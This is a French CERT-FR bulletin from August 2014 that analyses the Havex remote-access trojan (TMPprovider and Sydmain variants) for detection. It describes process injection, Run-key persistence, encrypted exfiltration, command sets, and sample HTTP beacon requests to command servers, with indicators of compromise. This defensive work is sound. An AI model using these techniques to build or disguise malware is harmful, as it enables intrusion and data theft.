Liberté • Égalité • Fraternité
RÉPUBLIQUE FRANÇAISE
PREMIER MINISTRE

S . G . D . S . N
Agence nationale de la sécurité des systèmes d'information
CERT-FR

Paris, le 29 août 2014
N° CERTFR-2014-ACT-035

Affaire suivie par :
CERT-FR

BULLETIN D'ACTUALITÉ

Objet : Bulletin d'actualité CERTFR-2014-ACT-035

1 - Analyse du code malveillant Havex et indicateurs de compromission

Havex est un code de type *RAT* (« Remote Access Tool ») modulaire, en mode utilisateur, maintenu par le groupe d'attaquants appelé *Energetic Bear* par *CrowdStrike* ou *Dragonfly* par *Symantec*.

Deux variantes distinctes d'*Havex* ont été observées : une première développée en C++ : *TMPprovider* et une seconde en C : *Sydmain*. Les deux versions sont très différentes et ne suivent pas la même logique. La version *TMPprovider* semble être la version la plus utilisée et la plus mise à jour par le groupe d'attaquants : plusieurs dizaines de versions différentes de ce *RAT* ont pu être observées depuis début 2011.

Description de TMPprovider

Architecture

Le coeur de *TMPprovider* dispose d'une gestion de modules complémentaires (fichiers .xmd) et d'une gestion des données exfiltrées (fichiers .yls). La principale fonctionnalité est le chargement d'une bibliothèque téléchargée depuis le serveur de contrôle et l'exécution de celle-ci par l'intermédiaire de la fonction `runDll`.

Les modules complémentaires sont signés par le serveur à l'aide d'une signature `RSA-SHA1 PKCS #1`. La bibliothèque utilisée est *RSAEuro*, disponible librement sur Internet. Le coeur de *TMPprovider* embarque la clef publique du serveur pour vérifier la signature des modules complémentaires avant de les charger en mémoire.

TMPprovider exfiltre les données de la victime à l'aide de fichiers .yls. Dans les plus vieilles versions de *TMPprovider*, ces fichiers ne sont pas chiffrés ou sont chiffrés à l'aide d'une opération XOR avec une clef commune à toutes les versions. Dans les dernières versions de *TMPprovider*, les modules complémentaires utilisent `RSA PKCS #1` pour chiffrer une clef *3DES* qui est utilisée pour chiffrer les données à exfiltrer. Ces fichiers sont automatiquement supprimés après exfiltration.

TMPprovider se présente sous la forme d'une bibliothèque et utilise *rundll32* pour se déployer sur le système ciblé. Une instance du code malveillant réside dans deux processus : *rundll32.exe* et *Explorer.EXE*. Le processus *rundll32.exe* est le premier processus créé et son but est d'assurer la persistance du code et son injection dans *Explorer.EXE*. Le second processus *Explorer.EXE* (spécifié dans la configuration du code malveillant) contient deux threads malveillants : un pour la communication avec le serveur de commandes et un qui assure aussi la persistance.

La bibliothèque malveillante est injectée dans *Explorer.EXE* d'une manière très classique à l'aide des APIs : *OpenProcess*, *VirtualAllocEx*, *WriteProcessMemory* et *CreateRemoteThread* pour exécuter un thread qui va exécuter la commande `LoadLibrary("TMPprovider038.dll")`.

Le déploiement de la bibliothèque consiste à écrire le numéro de version (par exemple "038") dans le fichier *qln.dbx* se trouvant dans le dossier `%TEMP%` de l'utilisateur.

La chaîne "*fertger*", avec la valeur correspondant à l'identifiant de la victime (par exemple "352469604629040176480 0A0FD80-20"), est ensuite écrite dans la clef de registre `{HKLM, HKCU}\Software\Microsoft\Internet Explorer\InternetRegistry`, `HKLM` si l'utilisateur courant dispose des droits administrateur ou `HKCU` sinon. La dernière étape du déploiement consiste

à rendre persistant le module malveillant en ajoutant le chemin (nom de la chaîne : *TmProvider*) dans la clef de registre `{HKLM, HKCU}\Software\microsoft\Windows\CurrentVersion\Run`. Le chemin du module malveillant dépend des droits de l'utilisateur et de la version de l'OS. Les différents chemins rencontrés sont `%SYSTEMROOT%`, `%TEMP%` et `%APPDATA%`.

Exemple de clef de persistance :

- clef de registre : `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`
- nom de chaîne : TmProvider
- valeur de la chaine :
  `rundll32 "C:\Users\Moo\AppData\Local\Temp\TMPprovider038.dll", RunDllEntry`

Le nom du fichier de la bibliothèque persistante est configurable d'une campagne à l'autre dans les dernières versions de *TMPprovider* (par exemple svcprocess044.dll). La chaîne "*TMPprovider*" n'est donc pas un marqueur fiable pour la détection du code malveillant.

Fonctionnalités

Le code malveillant *TMPprovider* dispose des modules suivants :

- récupération des informations de la machine (version de l'OS, nom d'utilisateur, nom de la machine, adresses IP Internet et locales, informations du BIOS, etc.) et stockage dans un fichier au format XML ;
- récupération du cache "*Auto Complete*" des versions 2007 et 2010 de *Microsoft Outlook* (Outlook.NK2) ;
- récupération d'une empreinte du réseau et des dispositifs *SCADA* utilisant le protocole *Ole for Process Control* (*OPC*) ;
- utilisation d'un chargeur de shellcode depuis un serveur TCP sur le port 80 ;
- mise à jour de la configuration de *TMPprovider* ;
- mise à jour de la clef publique de la configuration de *TMPprovider*.

Protocole Réseau

Les différentes versions de *TMPprovider* rencontrées utilisent 3 protocoles réseaux différents en HTTP.

Le protocole réseau le plus récent de *TMPprovider* s'appuie sur des requêtes HTTP du type :

```
POST /wp06/wp-includes/po.php?id=3616862667136502010000A0FD80-20&
    v1=038&v2=170393861&q=5265882854508EFCF958F979E4 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)
    AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.36 Safari/525.19
Host: XXX.com
Content-Length: 146
Cache-Control: no-cache
```

avec :

- id : "*CoCreateGuid()*" - valeur en dur dans la configuration du code (identifiant de la victime stocké dans la clef de registre "*fertger*") ;
- v1 : numéro de version (exemple "038") ;
- v2 : version du système d'exploitation - *GetVersion()* ;
- q : valeur en dur dans la configuration du code malveillant - identifiant de la campagne.

Les premières versions du protocole de *TMPprovider* s'appuyaient sur des requêtes HTTP du type :

```
POST /engine/modules/source.php?id=2023667995574231942801 87FE04-1-01F-170393861
    HTTP/1.1
```

- id : "*CoCreateGuid()*" - valeur en dur dans la configuration du code - numéro de version - version du système d'exploitation.

```
POST /generator/pages/page-index.php?id=2023667995574231942801 87FE04-170393861
    HTTP/1.1
```

- id : "*CoCreateGuid()*" - version du système d'exploitation.

Il est donc facile d'en déduire des expressions rationnelles et de les utiliser pour repérer une compromission à partir de journaux réseaux.

Description de Sydmain

Architecture

La variante *Sydmain* est beaucoup moins modulaire que *TMPprovider* et intègre l'essentiel de ses fonctionnalités. Le modèle de déploiement de *Sydmain* est comparable à *TMPprovider*. Une instance du code malveillant réside dans deux processus : *rundll32.exe* et *iexplore.exe* (navigateur web). Le processus *rundll32.exe* est le premier processus créé et son but est d'assurer la persistance du code et son injection dans le navigateur Web. Le second processus *iexplore.exe* (spécifié dans une liste de programmes se connectant à Internet : navigateurs Web, messageries, *Skype*, etc.) contient deux threads malveillants : un pour la communication avec le serveur de commandes et un qui assure aussi la persistance.

Le thread qui assure la persistance dans le navigateur Web permet de réinfecter la machine automatiquement si l'utilisateur tue le processus *rundll32.exe* et enlève la clef de persistance dans la base de registre. La méthode d'injection et le moyen de persistance sont les mêmes que *TMPprovider*, à savoir injection à l'aide des API : *OpenProcess*, *VirtualAllocEx*, *WriteProcessMemory* et *CreateRemoteThread*, et persistance assurée par l'ajout du chemin (nom de la chaîne : load) dans la clef de registre `{HKLM,HKCU}\Software\microsoft\Windows\CurrentVersion\Run`.

Le chemin du module malveillant dépend des droits de l'utilisateur et de la version de l'OS, les différents chemins rencontrés sont `%SYSTEMROOT%`, `%TEMP%` ou `%APPDATA%`.

Exemple de clef de persistance :

- Clef de registre : `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`
- Nom de chaîne : load
- Valeur de la chaîne : `rundll32 "C:\Users\Moo\AppData\sydmain.dll",AGTwLoad`

Sydmain stocke sa configuration dans la clef de registre `{HKLM,HKCU}\Software\Microsoft\Internet Explorer\InternetRegistry\SNLD`. Ci-dessous est présentée une description de sa configuration :

- ID = identifiant de la victime (source d'entropie: *CryptGenRandom*, *GetCursorPos*, *GetCurrentProcessID*) ;
- n0 = domaine numéro 1 du serveur de contrôle (exemple : www.domaine-malveillant.com) ;
- n1 = domaine numéro 2 du serveur de contrôle ;
- n2 = domaine numéro 3 du serveur de contrôle ;
- n3 = domaine numéro 4 du serveur de contrôle ;
- p0 = chemin du serveur de contrôle numéro 1 (exemple : /wp03/wp-includes/pomo/src.php) ;
- p1 = chemin du serveur de contrôle numéro 2 ;
- p2 = chemin du serveur de contrôle numéro 3 ;
- p3 = chemin du serveur de contrôle numéro 4 ;
- pub = clef publique RSA du serveur de contrôle ;
- prv = clef privée RSA du code malveillant ;
- pubm = une autre clef publique *RSA* ;
- s0 = chemin du fichier à exfiltrer.

Sydmain utilise les mêmes bibliothèques que *TMPprovider* pour compresser en *Bzip2* et en RSA (*RSAEuro*).

Fonctionnalités

Le code malveillant *Sydmain* dispose des fonctionnalités suivantes :

- exe : lance un nouveau processus à l'aide de *CreateProcess* depuis un fichier téléchargé ;
- dll : charge une nouvelle bibliothèque à l'aide de *LoadLibrary* depuis un fichier téléchargé ;
- get : envoi un fichier au serveur de contrôle ;
- dir : envoi les noms de fichiers d'un répertoire au format XML au serveur de contrôle ;
- cer : mise à jour de la clef publique de la configuration de *Sydmain* ;
- lst : mise à jour de la liste des domaines des serveurs de contrôle utilisée par le code malveillant ;
- cmd : lance une nouvelle commande à l'aide de "*cmd.exe*" ;
- rcp : envoi toutes les informations de la machine au format XML ;
- cls : annule l'exfiltration d'un fichier.

Protocole Réseau

Le protocole réseau de *Sydmain* s'appuie sur des requêtes HTTP du type :

```
POST /wp03/wp-includes/pomo/src.php?id=3D364-512-2436DPL HTTP/1.1
```

– id : correspond à l'identifiant de la victime.

Conclusion

Le RAT *Havex* est un code assez simple et fonctionnel, il n'est pas très furtif dans les versions actuelles et est facilement détectable à l'aide d'expressions rationnelles sur le protocole réseau ou à l'aide de marqueurs système tels que les clefs de registre de persistance. Le groupe d'attaquants s'améliore avec le temps, le code malveillant est de plus en plus modulaire et s'appuie de moins en moins sur des écritures de fichiers sur disque. Lorsque des fichiers sont écrits sur disque, ils sont compressés en *Bzip2*, encodés en *base64* et chiffrés en *3DES* (la clef *3DES* est chiffrée en `RSA PKCS#1`). De plus, dans les dernières versions de *TMPprovider*, les noms de fichiers sont configurables d'une campagne à l'autre, ce qui permet d'améliorer la furtivité du code malveillant.

Documentation

– Rapport CrowdStrike:
http://www.crowdstrike.com/sites/all/themes/crowdstrike2/css/imgs/platform/CrowdStrike_Global_Threat_Report_2013.pdf
– Rapport Symantec:
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western

2 - Rappel des avis émis

Dans la période du 22 au 28 août 2014, le CERT-FR a émis les publications suivantes :

– CERTFR-2014-AVI-366 : Multiples vulnérabilités dans Google Chrome
– CERTFR-2014-AVI-367 : Vulnérabilité dans les équipements Android de Huawei

Gestion détaillée du document

29 août 2014 version initiale.